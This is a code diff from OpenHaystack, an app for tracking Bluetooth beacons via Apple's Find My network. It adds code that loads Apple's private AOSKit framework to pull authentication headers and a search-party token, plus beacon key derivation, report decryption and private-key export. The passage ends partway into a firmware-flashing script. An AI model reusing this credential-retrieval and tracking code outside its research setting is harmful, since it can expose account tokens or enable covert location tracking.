787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
9ED440A02C1605EF002574D1 /* OpenHaystackSettingsView.swift in Sources */,
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
F12D5A6025FA79FA00CBBA09 /* Advertisement.swift in Sources */,
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
78F8BB4C261C50EB00D9F37F /* LargeButtonStyle.swift in Sources */,
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
782853C22755103A00B18EDE /* UpdateCheckController.swift in Sources */,
F12D5A5A25FA4F3500CBBA09 /* BluetoothAccessoryScanner.swift in Sources */,
78286D5625E401F000F65511 /* MailPluginManager.swift in Sources */,
);
@@ -636,6 +675,7 @@
buildActionMask = 2147483647;
files = (
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
782853C427551B4400B18EDE /* UpdateCheckTests.swift in Sources */,
F1647C1625FF6C61004144D6 /* BluetoothTests.swift in Sources */,
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
);
@@ -784,7 +824,7 @@
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = NO;
ENABLE_PREVIEWS = YES;
EXCLUDED_ARCHS = "arm64e arm64";
EXCLUDED_ARCHS = "";
INFOPLIST_FILE = OpenHaystack/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",
@@ -811,7 +851,7 @@
DEVELOPMENT_TEAM = "";
ENABLE_HARDENED_RUNTIME = NO;
ENABLE_PREVIEWS = YES;
EXCLUDED_ARCHS = "arm64e arm64";
EXCLUDED_ARCHS = "";
INFOPLIST_FILE = OpenHaystack/Info.plist;
LD_RUNPATH_SEARCH_PATHS = (
"$(inherited)",

View File

@@ -1,34 +1,60 @@
{
"object": {
"pins": [
{
"package": "swift-crypto",
"repositoryURL": "https://github.com/apple/swift-crypto.git",
"state": {
"branch": null,
"revision": "9b9d1868601a199334da5d14f4ab2d37d4f8d0c5",
"version": "1.0.2"
}
},
{
"package": "swift-nio",
"repositoryURL": "https://github.com/apple/swift-nio.git",
"state": {
"branch": null,
"revision": "6d3ca7e54e06a69d0f2612c2ce8bb8b7319085a4",
"version": "2.26.0"
}
},
{
"package": "swift-nio-ssl",
"repositoryURL": "https://github.com/apple/swift-nio-ssl",
"state": {
"branch": null,
"revision": "bbb38fbcbbe9dc4665b2c638dfa5681b01079bfb",
"version": "2.10.4"
}
"originHash" : "bfeb00ee66eb6db71ff8535b5ea7585725e9fe73d97f066170be55b745d346e9",
"pins" : [
{
"identity" : "swift-atomics",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-atomics.git",
"state" : {
"revision" : "cd142fd2f64be2100422d658e7411e39489da985",
"version" : "1.2.0"
}
]
},
"version": 1
},
{
"identity" : "swift-collections",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-collections.git",
"state" : {
"revision" : "ee97538f5b81ae89698fd95938896dec5217b148",
"version" : "1.1.1"
}
},
{
"identity" : "swift-crypto",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-crypto.git",
"state" : {
"revision" : "ddb07e896a2a8af79512543b1c7eb9797f8898a5",
"version" : "1.1.7"
}
},
{
"identity" : "swift-nio",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-nio.git",
"state" : {
"revision" : "9428f62793696d9a0cc1f26a63f63bb31da0516d",
"version" : "2.66.0"
}
},
{
"identity" : "swift-nio-ssl",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-nio-ssl",
"state" : {
"revision" : "2b09805797f21c380f7dc9bedaab3157c5508efb",
"version" : "2.27.0"
}
},
{
"identity" : "swift-system",
"kind" : "remoteSourceControl",
"location" : "https://github.com/apple/swift-system.git",
"state" : {
"revision" : "f9266c85189c2751589a50ea5aec72799797e471",
"version" : "1.3.0"
}
}
],
"version" : 3
}

View File

@@ -74,6 +74,12 @@
ReferencedContainer = "container:OpenHaystack.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
<CommandLineArguments>
<CommandLineArgument
argument = "-stopUpdateCheck"
isEnabled = "YES">
</CommandLineArgument>
</CommandLineArguments>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"

View File

@@ -10,6 +10,20 @@
import Foundation
import OSLog
/// Uses AOSKit to get anisette headers
@objc private protocol AOSUtilitiesProtocol
{
static var machineSerialNumber: String? { get }
static var machineUDID: String? { get }
static func retrieveOTPHeadersForDSID(_ dsid: String) -> [String: Any]?
// Non-static versions used for respondsToSelector:
var machineSerialNumber: String? { get }
var machineUDID: String? { get }
func retrieveOTPHeadersForDSID(_ dsid: String) -> [String: Any]?
}
/// Uses the AltStore Mail plugin to access recent anisette data.
public class AnisetteDataManager: NSObject {
@objc static let shared = AnisetteDataManager()
@@ -28,7 +42,7 @@ public class AnisetteDataManager: NSObject {
}
func requestAnisetteData(_ completion: @escaping (Result<AppleAccountData, Error>) -> Void) {
if let accountData = self.requestAnisetteDataAuthKit() {
if let accountData = self.requestAnisetteDataAOSKit() {
os_log(.debug, "Anisette Data loaded %@", accountData.debugDescription)
completion(.success(accountData))
return
@@ -86,6 +100,61 @@ public class AnisetteDataManager: NSObject {
return accountData
}
/// Adapted from: https://github.com/altstoreio/AltStore/blob/main/AltServer/Anisette%20Data/AnisetteDataManager.swift
func requestAnisetteDataAOSKit() -> AppleAccountData? {
do
{
let aosKitURL = URL(fileURLWithPath: "/System/Library/PrivateFrameworks/AOSKit.framework")
guard let aosKit = Bundle(url: aosKitURL) else { throw AnisetteDataError.aosKitFailure }
try aosKit.loadAndReturnError()
guard let AOSUtilitiesClass = NSClassFromString("AOSUtilities"),
AOSUtilitiesClass.responds(to: #selector(AOSUtilitiesProtocol.retrieveOTPHeadersForDSID(_:))),
AOSUtilitiesClass.responds(to: #selector(getter: AOSUtilitiesProtocol.machineSerialNumber)),
AOSUtilitiesClass.responds(to: #selector(getter: AOSUtilitiesProtocol.machineUDID))
else { throw AnisetteDataError.aosKitFailure }
let AOSUtilities = unsafeBitCast(AOSUtilitiesClass, to: AOSUtilitiesProtocol.Type.self)
guard let anisetteData = AOSUtilities.retrieveOTPHeadersForDSID("-2") else { throw AnisetteDataError.aosKitFailure }
guard let machineID = anisetteData["X-Apple-MD-M"] as? String,
let otp = anisetteData["X-Apple-MD"] as? String,
let deviceId = AOSUtilities.machineUDID,
let localUserId = deviceId.data(using: .utf8)?.base64EncodedString(),
let deviceClass = NSClassFromString("AKDevice")
else {
print("Failure retrieving anisette headers from AOSKit")
throw AnisetteDataError.aosKitFailure
}
let device: AKDevice = deviceClass.current()
let routingInfo: UInt64 = 84215040
let accountData = AppleAccountData(
machineID: machineID,
oneTimePassword: otp,
localUserID: localUserId,
routingInfo: routingInfo,
deviceUniqueIdentifier: device.uniqueDeviceIdentifier(),
deviceSerialNumber: device.serialNumber(),
deviceDescription: device.serverFriendlyDescription(),
date: Date(),
locale: Locale.current,
timeZone: TimeZone.current)
/// This only works with SIP disabled
if let spToken = ReportsFetcher().fetchSearchpartyToken() {
accountData.searchPartyToken = spToken
}
return accountData
}
catch
{
return nil
}
}
@objc func requestAnisetteDataObjc(_ completion: @escaping ([AnyHashable: Any]?) -> Void) {
self.requestAnisetteData { result in
switch result {
@@ -98,7 +167,8 @@ public class AnisetteDataManager: NSObject {
"X-Apple-I-MD-M": data.machineID,
"X-Apple-I-MD": data.oneTimePassword,
"X-Apple-I-TimeZone": String(data.timeZone.abbreviation() ?? "UTC"),
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
// "X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: data.date),
"X-Apple-I-Client-Time": ISO8601DateFormatter().string(from: Date()),
"X-Apple-I-MD-RINFO": String(data.routingInfo),
] as [AnyHashable: Any])
}
@@ -162,4 +232,5 @@ extension AnisetteDataManager {
enum AnisetteDataError: Error {
case pluginNotFound
case invalidAnisetteData
case aosKitFailure
}

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.866"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "0.758",
"white" : "0.310"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -0,0 +1,34 @@
{
"colors" : [
{
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "1.000",
"white" : "0.657"
}
},
"idiom" : "universal"
},
{
"appearances" : [
{
"appearance" : "luminosity",
"value" : "dark"
}
],
"color" : {
"color-space" : "gray-gamma-22",
"components" : {
"alpha" : "0.758",
"white" : "0.237"
}
},
"idiom" : "universal"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}

View File

@@ -21,9 +21,17 @@ NS_ASSUME_NONNULL_BEGIN
/// For OF the first byte has to be dropped
+ (NSData *_Nullable)derivePublicKeyFromPrivateKey:(NSData *)privateKeyData;
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
/// @returns The public key in a uncompressed format using 28*2+1 bytes. The first byte is used for identifying if its odd or even.
+ (NSData *_Nullable)deriveUncompressedPublicKeyFromPrivateKey:(NSData *)privateKeyData ;
/// Generate a new EC private key and exports it as data
+ (NSData *_Nullable)generateNewPrivateKey;
/// Calculate private key from derived data
+ (NSData *_Nullable)calculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey;
@end
NS_ASSUME_NONNULL_END

View File

@@ -48,11 +48,14 @@
char *buf;
BIO_get_mem_data(bio, &buf);
NSLog(@"Generating shared key failed %s", buf);
free(buf);
BIO_free(bio);
}
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
// NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
//Free
EC_KEY_free(key);
EC_GROUP_free(curve);
EC_POINT_free(publicKey);
return sharedKey;
}
@@ -68,7 +71,7 @@
// Public key will be stored in point
int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
[self printPoint:point withGroup:group];
// Free the big numbers
BN_CTX_free(ctx);
@@ -90,24 +93,28 @@
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
// Read in the private key data
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
if (res != 1) {
NSLog(@"Failed");
return nil;
}
res = EC_KEY_set_public_key(key, point);
EC_POINT_free(point);
if (res != 1) {
NSLog(@"Failed");
return nil;
}
privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
EC_KEY_set_private_key(key, privateKeyNum);
// Free the big numbers
EC_KEY_set_private_key(key, privateKeyNum);
BN_free(privateKeyNum);
// Free
BN_CTX_free(ctx);
return key;
@@ -126,6 +133,34 @@
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_COMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
//Free
EC_KEY_free(key);
EC_GROUP_free(curve);
if (size == 0) {
return nil;
}
return publicKeyBytes;
}
/// Derive a uncompressed public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
+ (NSData *_Nullable)deriveUncompressedPublicKeyFromPrivateKey:(NSData *)privateKeyData {
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKeyData group:curve];
const EC_POINT *publicKey = EC_KEY_get0_public_key(key);
size_t keySize = 28*2 + 1;
NSMutableData *publicKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = EC_POINT_point2oct(curve, publicKey, POINT_CONVERSION_UNCOMPRESSED, publicKeyBytes.mutableBytes, keySize, NULL);
//Free
EC_KEY_free(key);
EC_GROUP_free(curve);
if (size == 0) {
return nil;
}
@@ -145,7 +180,10 @@
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:keySize];
size_t size = BN_bn2bin(privateKey, privateKeyBytes.mutableBytes);
EC_KEY_free(key);
if (size == 0) {
return nil;
}
@@ -153,6 +191,142 @@
return privateKeyBytes;
}
+ (NSData *_Nullable)internalCalculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey
curve:(EC_GROUP *) curve
bignum_context:(BN_CTX *) context
order:(BIGNUM *) order
u_i_bn:(BIGNUM *) u_i_bn
v_i_bn:(BIGNUM *) v_i_bn
d_0_bn:(BIGNUM *) d_0_bn
d_i_bn:(BIGNUM *) d_i_bn
tmp_bn:(BIGNUM *) tmp_bn{
// get (order of G) - 1 of our curve
int res = EC_GROUP_get_order(curve, order, context);
EC_GROUP_free(curve);
if(res != 1){
NSLog(@"Could not get Order of G for NID_secp224r1 with error: %d", res);
return nil;
}
res = BN_sub_word(order, 1);
if(res != 1){
NSLog(@"Could not calculate order - 1 (%d)", res);
return nil;
}
// get u_i and v_i as BIGNUM
NSData *u_i_data = [sharedData subdataWithRange:NSMakeRange(0, sharedData.length/2)];
NSData *v_i_data = [sharedData subdataWithRange:NSMakeRange(sharedData.length/2, sharedData.length/2)];
/*
NSLog(@"u_i_data: %@", u_i_data);
NSLog(@"v_i_data: %@", v_i_data);
*/
BN_bin2bn(u_i_data.bytes, u_i_data.length, u_i_bn);
BN_bin2bn(v_i_data.bytes, v_i_data.length, v_i_bn);
//Calculate:
//u_i = u_i (mod q-1) + 1
res = BN_mod(tmp_bn, u_i_bn, order, context);
if (res != 1){
NSLog(@"Error while calculating u_i (mod q-1) (%d)", res);
return nil;
}
BN_copy(u_i_bn, tmp_bn);
res = BN_add_word(u_i_bn, 1);
if (res != 1){
NSLog(@"Error while adding 1 to v_i (mod q-1) (%d)", res);
return nil;
}
//v_i = v_i (mod q-1) + 1
res = BN_mod(tmp_bn, v_i_bn, order, context);
if (res != 1){
NSLog(@"Error while calculating u_i (mod q-1) (%d)", res);
return nil;
}
BN_copy(v_i_bn, tmp_bn);
res = BN_add_word(v_i_bn, 1);
if (res != 1){
NSLog(@"Error while adding 1 to v_i (mod q-1) (%d)", res);
return nil;
}
/*
size_t uv_size = BN_num_bytes(u_i_bn);
NSMutableData *u_i_data2 = [[NSMutableData alloc] initWithLength:uv_size];
BN_bn2bin(u_i_bn, u_i_data2.mutableBytes);
NSLog(@"u_i_data: %@", u_i_data2);
uv_size = BN_num_bytes(u_i_bn);
NSMutableData *v_i_data2 = [[NSMutableData alloc] initWithLength:uv_size];
BN_bn2bin(v_i_bn, v_i_data2.mutableBytes);
NSLog(@"v_i_data: %@", v_i_data2);
*/
// calculate d_i = d_0_bn * u_i_bn + v_i_bn (new private key)
BN_bin2bn(masterBeaconPrivateKey.bytes, masterBeaconPrivateKey.length, d_0_bn);
res = BN_mul(tmp_bn, d_0_bn, u_i_bn, context);
if (res != 1) {
NSLog(@"Failed bignum multiplication with error: %d", res);
return nil;
}
res = BN_add(d_i_bn, tmp_bn, v_i_bn);
if (res != 1) {
NSLog(@"Failed bignum addition with error: %d", res);
return nil;
}
// normalize point to 28 bytes to have a valid scaler as private key
EC_GROUP_get_order(curve, order, context);
BN_copy(tmp_bn, d_i_bn);
res = BN_mod(d_i_bn, tmp_bn, order, context);
if(res != 1){
NSLog(@"Failed bignum modulo with error: %d", res);
}
// get private key as bytes
size_t d_i_size = BN_num_bytes(d_i_bn);
NSMutableData *privateKeyBytes = [[NSMutableData alloc] initWithLength:d_i_size];
size_t size = BN_bn2bin(d_i_bn, privateKeyBytes.mutableBytes);
if(size < 1){
return nil;
}
return privateKeyBytes;
}
+ (NSData *_Nullable)calculatePrivateKeyFromSharedData:(NSData *)sharedData masterBeaconPrivateKey:(NSData *)masterBeaconPrivateKey {
//Get the group
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
// Create big number context
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
BIGNUM *order = BN_new();
BIGNUM *u_i_bn = BN_new();
BIGNUM *v_i_bn = BN_new();
BIGNUM *d_0_bn = BN_new();
BIGNUM *d_i_bn = BN_new();
BIGNUM *tmp_bn = BN_new();
NSData* privateKeyBytes = [self internalCalculatePrivateKeyFromSharedData:sharedData masterBeaconPrivateKey:masterBeaconPrivateKey curve:curve bignum_context:ctx order:order u_i_bn:u_i_bn v_i_bn:v_i_bn d_0_bn:d_0_bn d_i_bn:d_i_bn tmp_bn:tmp_bn];
// Free all the things
EC_GROUP_free(curve);
BN_CTX_free(ctx);
BN_free(order);
BN_free(u_i_bn);
BN_free(v_i_bn);
BN_free(d_0_bn);
BN_free(d_i_bn);
BN_free(tmp_bn);
return privateKeyBytes;
}
+ (void)printPoint:(const EC_POINT *)point withGroup:(EC_GROUP *)group {
NSMutableData *pointData = [[NSMutableData alloc] initWithLength:256];

View File

@@ -20,7 +20,12 @@ struct DecryptReports {
/// - Throws: Errors if the decryption fails
/// - Returns: An decrypted location report
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
let payloadData = report.payload
var payloadData = report.payload
/// Fix decryption for new report format
/// See: https://github.com/biemster/FindMy/issues/52
if payloadData.count > 88 {
payloadData.remove(at: 5)
}
let keyData = key.privateKey
let privateKey = keyData

View File

@@ -32,7 +32,11 @@ class FindMyController: ObservableObject {
self.devices = devices
// Decrypt the reports with the imported keys
DispatchQueue.global(qos: .background).async {
DispatchQueue.global(qos: .background).async { [weak self] in
guard let self = self else {
completion()
return
}
var d = self.devices
// Add the reports to the according device by finding the right key for the report
@@ -57,8 +61,8 @@ class FindMyController: ObservableObject {
}
// Decrypt the reports
self.decryptReports {
self.exportDevices()
self.decryptReports { [weak self] in
self?.exportDevices()
DispatchQueue.main.async {
completion()
}
@@ -108,7 +112,11 @@ class FindMyController: ObservableObject {
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
DispatchQueue.global(qos: .background).async {
DispatchQueue.global(qos: .background).async { [weak self] in
guard let self = self else {
completion(FindMyErrors.objectReleased)
return
}
let fetchReportGroup = DispatchGroup()
let fetcher = ReportsFetcher()
@@ -140,6 +148,10 @@ class FindMyController: ObservableObject {
} catch {
print("Failed with error \(error)")
if jsonData.isEmpty {
print("Empty response, consider updating your Search Party Token")
completion(FindMyErrors.invalidSearchPartyToken)
}
devices[deviceIndex].reports = []
}
fetchReportGroup.leave()
@@ -166,7 +178,11 @@ class FindMyController: ObservableObject {
}
#endif
DispatchQueue.main.async {
DispatchQueue.main.async { [weak self] in
guard let self = self else {
completion(FindMyErrors.objectReleased)
return
}
self.devices = devices
self.decryptReports {
@@ -228,4 +244,6 @@ class FindMyController: ObservableObject {
enum FindMyErrors: Error {
case decodingPlistFailed(message: String)
case objectReleased
case invalidSearchPartyToken
}

View File

@@ -13,11 +13,14 @@ import OSLog
import SwiftUI
class AccessoryController: ObservableObject {
@AppStorage("searchPartyToken") private var searchPartyToken: String = ""
@Published var accessories: [Accessory]
var selfObserver: AnyCancellable?
var listElementsObserver = [AnyCancellable]()
let findMyController: FindMyController
weak var savePanel: NSSavePanel?
init(accessories: [Accessory], findMyController: FindMyController) {
self.accessories = accessories
self.findMyController = findMyController
@@ -30,12 +33,12 @@ class AccessoryController: ObservableObject {
}
func initAccessoryObserver() {
self.selfObserver = self.objectWillChange.sink { _ in
self.selfObserver = self.objectWillChange.sink { [weak self] _ in
// objectWillChange is called before the values are actually changed,
// so we dispatch the call to save()
DispatchQueue.main.async {
self.initObserver()
try? self.save()
DispatchQueue.main.async { [weak self] in
self?.initObserver()
try? self?.save()
}
}
}
@@ -45,7 +48,7 @@ class AccessoryController: ObservableObject {
$0.cancel()
})
self.accessories.forEach({
let c = $0.objectWillChange.sink(receiveValue: { self.objectWillChange.send() })
let c = $0.objectWillChange.sink(receiveValue: { [weak self] in self?.objectWillChange.send() })
// Important: You have to keep the returned value allocated,
// otherwise the sink subscription gets cancelled
self.listElementsObserver.append(c)
@@ -95,35 +98,103 @@ class AccessoryController: ObservableObject {
/// Export the accessories property list so it can be imported at another location.
func export(accessories: [Accessory]) throws -> URL {
let propertyList = try PropertyListEncoder().encode(accessories)
let savePanel = NSSavePanel()
savePanel.allowedFileTypes = ["plist"]
// savePanel.allowedFileTypes = ["plist", "json"]
if #available(macOS 12.0, *) {
savePanel.allowedContentTypes = [.propertyList]
} else {
savePanel.allowedFileTypes = ["plist"]
}
savePanel.canCreateDirectories = true
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
savePanel.message = "This export contains all private keys! Keep the file save to protect your location data"
savePanel.nameFieldLabel = "Filename"
savePanel.nameFieldStringValue = "openhaystack_accessories.plist"
savePanel.nameFieldStringValue = "openhaystack_accessories"
savePanel.prompt = "Export"
savePanel.title = "Export accessories & keys"
savePanel.isExtensionHidden = false
let accessoryView = NSView()
let popUpButton = NSPopUpButton(title: "File type", target: self, action: #selector(exportFileTypeChanged(button:)))
popUpButton.addItems(withTitles: ["Property List", "JSON"])
popUpButton.selectItem(at: 0)
popUpButton.stringValue = "File type"
popUpButton.translatesAutoresizingMaskIntoConstraints = false
accessoryView.addSubview(popUpButton)
let popUpButtonLabel = NSTextField(labelWithString: "File type")
popUpButtonLabel.translatesAutoresizingMaskIntoConstraints = false
accessoryView.addSubview(popUpButtonLabel)
accessoryView.translatesAutoresizingMaskIntoConstraints = false
// popUpButtonLabel.leadingAnchor.constraint(greaterThanOrEqualTo: accessoryView.leadingAnchor, constant: 20.0).isActive = true
popUpButtonLabel.trailingAnchor.constraint(equalTo: popUpButton.leadingAnchor, constant: -8.0).isActive = true
popUpButtonLabel.trailingAnchor.constraint(lessThanOrEqualTo: accessoryView.centerXAnchor, constant: 0).isActive = true
popUpButtonLabel.centerYAnchor.constraint(equalTo: popUpButton.centerYAnchor, constant: 0).isActive = true
// popUpButton.trailingAnchor.constraint(lessThanOrEqualTo: accessoryView.trailingAnchor, constant: -20.0).isActive = true
popUpButton.leadingAnchor.constraint(lessThanOrEqualTo: accessoryView.centerXAnchor, constant: 0).isActive = true
popUpButton.topAnchor.constraint(equalTo: accessoryView.topAnchor, constant: 8.0).isActive = true
popUpButton.bottomAnchor.constraint(equalTo: accessoryView.bottomAnchor, constant: -8.0).isActive = true
popUpButton.heightAnchor.constraint(greaterThanOrEqualToConstant: 20.0).isActive = true
popUpButton.widthAnchor.constraint(lessThanOrEqualToConstant: 200.0).isActive = true
savePanel.accessoryView = accessoryView
self.savePanel = savePanel
let result = savePanel.runModal()
if result == .OK,
let url = savePanel.url
var url = savePanel.url
{
let selectedItemIndex = popUpButton.indexOfSelectedItem
// Store the accessory file
try propertyList.write(to: url)
if selectedItemIndex == 0 {
if url.pathExtension != "plist" {
url = url.appendingPathExtension("plist")
}
let propertyList = try PropertyListEncoder().encode(accessories)
try propertyList.write(to: url)
} else if selectedItemIndex == 1 {
if url.pathExtension != "json" {
url = url.appendingPathExtension("json")
}
let jsonObject = try JSONEncoder().encode(accessories)
try jsonObject.write(to: url)
}
return url
}
throw ImportError.cancelled
}
@objc func exportFileTypeChanged(button: NSPopUpButton) {
if button.indexOfSelectedItem == 0 {
if #available(macOS 12.0, *) {
self.savePanel?.allowedContentTypes = [.propertyList]
} else {
self.savePanel?.allowedFileTypes = ["plist"]
}
} else {
if #available(macOS 12.0, *) {
self.savePanel?.allowedContentTypes = [.json]
} else {
self.savePanel?.allowedFileTypes = ["json"]
}
}
}
/// Let the user select a file to import the accessories exported by another OpenHaystack instance.
func importAccessories() throws {
let openPanel = NSOpenPanel()
openPanel.allowedFileTypes = ["plist"]
if #available(macOS 12.0, *) {
openPanel.allowedContentTypes = [.json, .propertyList]
} else {
openPanel.allowedFileTypes = ["json", "plist"]
}
openPanel.canCreateDirectories = true
openPanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
openPanel.message = "Import an accessories file that includes the private keys"
@@ -134,8 +205,13 @@ class AccessoryController: ObservableObject {
if result == .OK,
let url = openPanel.url
{
let propertyList = try Data(contentsOf: url)
var importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: propertyList)
let accessoryData = try Data(contentsOf: url)
var importedAccessories: [Accessory]
if url.pathExtension == "plist" {
importedAccessories = try PropertyListDecoder().decode([Accessory].self, from: accessoryData)
} else {
importedAccessories = try JSONDecoder().decode([Accessory].self, from: accessoryData)
}
var updatedAccessories = self.accessories
// Filter out accessories with the same id (no duplicates)
@@ -157,32 +233,40 @@ class AccessoryController: ObservableObject {
//MARK: Location reports
/// Download the location reports from.
///
/// - Parameter completion: called when the reports have been succesfully downloaded or the request has failed
func downloadLocationReports(completion: @escaping (Result<Void, OpenHaystackMainView.AlertType>) -> Void) {
AnisetteDataManager.shared.requestAnisetteData { result in
AnisetteDataManager.shared.requestAnisetteData { [weak self] result in
guard let self = self else {
completion(.failure(.noReportsFound))
return
}
switch result {
case .failure(_):
completion(.failure(.activatePlugin))
case .success(let accountData):
guard let token = accountData.searchPartyToken,
token.isEmpty == false
else {
let token = accountData.searchPartyToken ?? self.searchPartyToken.data(using: .utf8) ?? Data()
if token.isEmpty {
completion(.failure(.searchPartyToken))
return
}
self.findMyController.fetchReports(for: self.accessories, with: token) { result in
self.findMyController.fetchReports(for: self.accessories, with: token) { [weak self] result in
switch result {
case .failure(let error):
os_log(.error, "Downloading reports failed %@", error.localizedDescription)
completion(.failure(.downloadingReportsFailed))
switch error {
case FindMyErrors.invalidSearchPartyToken:
completion(.failure(.invalidSearchPartyToken))
default:
completion(.failure(.downloadingReportsFailed))
}
case .success(let devices):
let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
if reports.isEmpty {
completion(.failure(.noReportsFound))
} else {
self.updateWithDecryptedReports(devices: devices)
self?.updateWithDecryptedReports(devices: devices)
completion(.success(()))
}
}

View File

@@ -28,8 +28,8 @@ class AccessoryNearbyMonitor: BluetoothAccessoryDelegate {
}
func initTimer() {
self.cleanup = Timer.scheduledTimer(withTimeInterval: 1.0, repeats: true) { _ in
self.removeNearbyAccessories()
self.cleanup = Timer.scheduledTimer(withTimeInterval: 1.0, repeats: true) { [weak self] _ in
self?.removeNearbyAccessories()
}
}
@@ -48,7 +48,7 @@ class AccessoryNearbyMonitor: BluetoothAccessoryDelegate {
accessory.lastAdvertisement = Date()
}
func removeNearbyAccessories(now: Date = Date(), timeout: TimeInterval = 10.0) {
func removeNearbyAccessories(now: Date = Date(), timeout: TimeInterval = 120.0) {
let nearbyAccessories = self.accessoryController.accessories.filter({ $0.isNearby })
for accessory in nearbyAccessories {
guard let lastAdvertisement = accessory.lastAdvertisement else {

View File

@@ -0,0 +1,27 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
extension Data {
/// A hexadecimal string representation of the bytes.
func hexEncodedString() -> String {
let hexDigits = Array("0123456789abcdef".utf16)
var hexChars = [UTF16.CodeUnit]()
hexChars.reserveCapacity(count * 2)
for byte in self {
let (index1, index2) = Int(byte).quotientAndRemainder(dividingBy: 16)
hexChars.append(hexDigits[index1])
hexChars.append(hexDigits[index2])
}
return String(utf16CodeUnits: hexChars, count: hexChars.count)
}
}

View File

@@ -30,8 +30,14 @@ extension FileManager {
if isDir.boolValue == true {
try self.copyFolder(from: fileURL, to: to.appendingPathComponent(file))
} else {
// Copy file
try FileManager.default.copyItem(at: fileURL, to: to.appendingPathComponent(file))
do {
// Copy file
try self.createFile(atPath: to.appendingPathComponent(file).path, contents: Data(contentsOf: fileURL), attributes: nil)
} catch {
if fileURL.lastPathComponent != "CodeResources" {
throw error
}
}
}
}
}

Binary file not shown.

View File

@@ -0,0 +1,120 @@
#!/bin/python3
from pynrfjprog import LowLevel
from intelhex import IntelHex
from base64 import b64decode
import argparse
def flash_openhaystack_fw(public_key, symmetric_key, update_interval, hex_path, snr=None):
"""
Flash openhaystack firmware to device
@param (optional) int snr: Specify serial number of DK to run example on.
"""
# Check if paramters are valid
if len(public_key) != 57:
pk_len = len(public_key)
print(f'[!] Public key should be 57 bytes but is {pk_len} bytes')
exit(-1)
if len(symmetric_key) != 32:
sk_len = len(symmetric_key)
print(f'[!] Symmetric key should be 32 bytes but is {sk_len} bytes')
exit(-1)
if not 0 < update_interval < 4294967295:
print(f'[!] Update interval is {update_interval}, but must be bigger than 0 but smaller than 4294967295 (0xFFFFFFFF)')
exit(-1)
# Detect the device family of your device. Initialize an API object with UNKNOWN family and read the device's
# family. This step is performed so this example can be run in all devices without customer input.
print('[*] Opening API with device family UNKNOWN, reading the device family.')
with LowLevel.API(
# Using with construction so there is no need to open or close the API class.
LowLevel.DeviceFamily.UNKNOWN) as api:
if snr is not None:
api.connect_to_emu_with_snr(snr)
else:
api.connect_to_emu_without_snr()
device_family = api.read_device_family()
print(f'[*] Opening API with device family {device_family}, reading the device version.')
with LowLevel.API(device_family) as api:
# Open the loaded DLL and connect to an emulator probe. If several are connected a pop up will appear.
if snr is not None:
api.connect_to_emu_with_snr(snr)
else:
api.connect_to_emu_without_snr()
device_version = api.read_device_version()
print(f'[*] Device version {device_version}')
# Select hex file according to device family and device version
hex_file_path = f'{hex_path}{device_family}_{device_version.split("_")[0]}_openHayStack.hex'
